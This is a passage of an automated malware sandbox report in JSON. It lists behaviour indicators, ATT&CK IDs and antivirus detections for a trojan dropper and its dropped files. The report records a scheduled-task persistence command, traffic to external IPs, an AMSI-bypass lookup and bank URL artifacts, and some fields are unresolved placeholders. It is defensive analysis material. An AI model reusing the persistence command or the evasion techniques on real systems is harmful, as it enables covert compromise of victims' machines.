00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Contains reference to Hijacked CLSID(s)","description":"Observed string: \"CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\" (Indicator: \"{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\") in Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp\n 00000000-00002856.00000002.82814.00220000.00000004.mdmp\n Observed string: \"CLSID\\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\" (Indicator: \"{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\") in Source: 00000000-00004500.00000001.82966.002F0000.00000004.mdmp\n 00000000-00004500.00000002.84888.002F0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1546.015","relevance":1,"id":"string-342","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"InstallSetup9.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$72","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" opened \"\\Device\\KsecDD\"\n \"InstallSetup9.exe\" opened \"\\Device\\KsecDD\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" opened \"\\Device\\KsecDD\"\n \"BroomSetup.exe\" opened \"\\Device\\KsecDD\"\n \"schtasks.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$73","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$74","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"InitiateShutdownW\" (Indicator: \"InitiateShutdown\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00000640.00000000.80239.00440000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\"www.credit-agricole.fr\" (Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp, Indicator: \"credit-agricole.fr\")\n \"capitalone.com\" (Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp, Indicator: \"capitalone.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$75","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"Task.bat\" - Location: [%APPDATA%\\Temp\\Task.bat]- [targetUID: 00000000-00004500]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\" was detected as \"Microsoft Visual C# v7.0 / Basic .NET\"\n \"BroomSetup.exe\" was detected as \"Borland Delphi 4.0\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"toolspub1.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"CHCP.COM.6A98C882.bin\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"InstallSetup9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\" has section name .text with entropy \"7.928226294675875\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" has section name .text with entropy \"7.9936452086469165\"\n \"toolspub1.exe\" has section name .text with entropy \"7.0184579071867566\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe\" has high entropy 7.97092\n Dropped file \"%TEMP%\\InstallSetup9.exe\" has high entropy 7.97887","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"17/23 Antivirus vendors marked sample as malicious (73% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$76","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$77","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$78","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.172.128.90 on port 80 is sent without HTTP header\n TCP traffic to 5.42.64.33 on port 80 is sent without HTTP header\n TCP traffic to 185.172.128.109 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for null IAT Directory of PE process \"00000000-00004224\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"InstallSetup9.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$79","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsx312D.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsi3737.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsi711C.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsi3737.tmp\\INetC.dll\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsx312D.tmp\" with delete access\n \"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsi3737.tmp\" with delete access\n \"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsi711C.tmp\" with delete access\n \"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsi3737.tmp\\INetC.dll\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$7a","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" claimed CRC 4508534 while the actual is CRC 4452969\n \"rty25.exe\" claimed CRC 789568 while the actual is CRC 742040\n \"INetC.dll\" claimed CRC 381292 while the actual is CRC 27040","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$7b","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"17/23 Antivirus vendors marked sample as malicious (73% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"12/24 Antivirus vendors marked dropped file \"BroomSetup.exe\" as malicious (classified as \"Drop.Agent\" with 50% detection rate)\n 16/25 Antivirus vendors marked dropped file \"InstallSetup9.exe\" as malicious (classified as \"Trojan.Generic\" with 64% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"16/25 Antivirus vendors marked spawned process \"InstallSetup9.exe\" (PID: 2856) as malicious (classified as \"Trojan.Generic\" with 64% detection rate)\n 12/24 Antivirus vendors marked spawned process \"BroomSetup.exe\" (PID: 4500) as malicious (classified as \"Drop.Agent\" with 50% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\\\Updater.exe'\" /sc minute /mo 30 /F\" (UID: 00000000-00002732)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_DLInjector04\" matched file \"sample.bin\" as \"Detects downloader / injector\"","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"Spawned process \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" (UID: 00000000-00000640)\n Spawned process \"InstallSetup9.exe\" (UID: 00000000-00002856)\n Spawned process \"toolspub1.exe\" (UID: 00000000-00004224)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00002512)\n Spawned process \"BroomSetup.exe\" (UID: 00000000-00004500)\n Spawned process \"cmd.exe\" with commandline \"/c \"\"%APPDATA%\\\\Temp\\\\Task.bat\" \"\" (UID: 00000000-00003592)\n Spawned process \"chcp.com\" with commandline \"chcp 1251\" (UID: 00000000-00003192)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00003348)\n Spawned process \"schtasks.exe\" with commandline \"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\\\Updater.exe'\" /sc minute /mo 30 /F\" (UID: 00000000-00002732)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00001968.00000000.68818.007C6000.00000004.mdmp, 00000000-00001968.00000002.72661.007C5000.00000004.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00001968.00000000.68818.007C6000.00000004.mdmp, 00000000-00001968.00000002.72661.007C5000.00000004.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001968.00000000.68818.007C6000.00000004.mdmp, 00000000-00001968.00000002.72661.007C5000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"file\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"file\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".ndata\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$7c","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"file\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00001968.00000000.68818.03480000.00000004.mdmp\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004788.00000000.68553.03110000.00000004.mdmp\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006936.00000000.71947.02C30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00001908.00000001.70531.02A60000.00000004.mdmp, 00000000-00001908.00000002.72451.02A60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$7d","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"GetSystemTimes\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001968.00000000.68818.007CB000.00000004.mdmp, 00000000-00001968.00000002.72661.007CB000.00000004.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006936.00000000.71947.008D1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001968.00000000.68818.007C6000.00000004.mdmp, 00000000-00001968.00000002.72661.007C5000.00000004.mdmp\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00003376.00000000.71842.0E400000.00000004.mdmp\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00004788.00000001.70475.0E800000.00000004.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006936.00000000.71947.008D1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$7e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"GetSystemTimes\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001968.00000000.68818.007CB000.00000004.mdmp, 00000000-00001968.00000002.72661.007CB000.00000004.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006936.00000000.71947.008D1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"$7f","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"nsd67A7.tmp\" queries volume information of \"C:\\\" at 00000000-00007268-00000C15-18023003\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00007348-00000C15-22480721\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006936-00000C15-29271774","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Packed Executable Download\" (SID: 2014819, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$80","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$81","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007348)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006936)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00004788)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133510186580486075.7348.DefaultAppDomain.powershell\" - (UID: 00000000-00007348)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00003376)\n 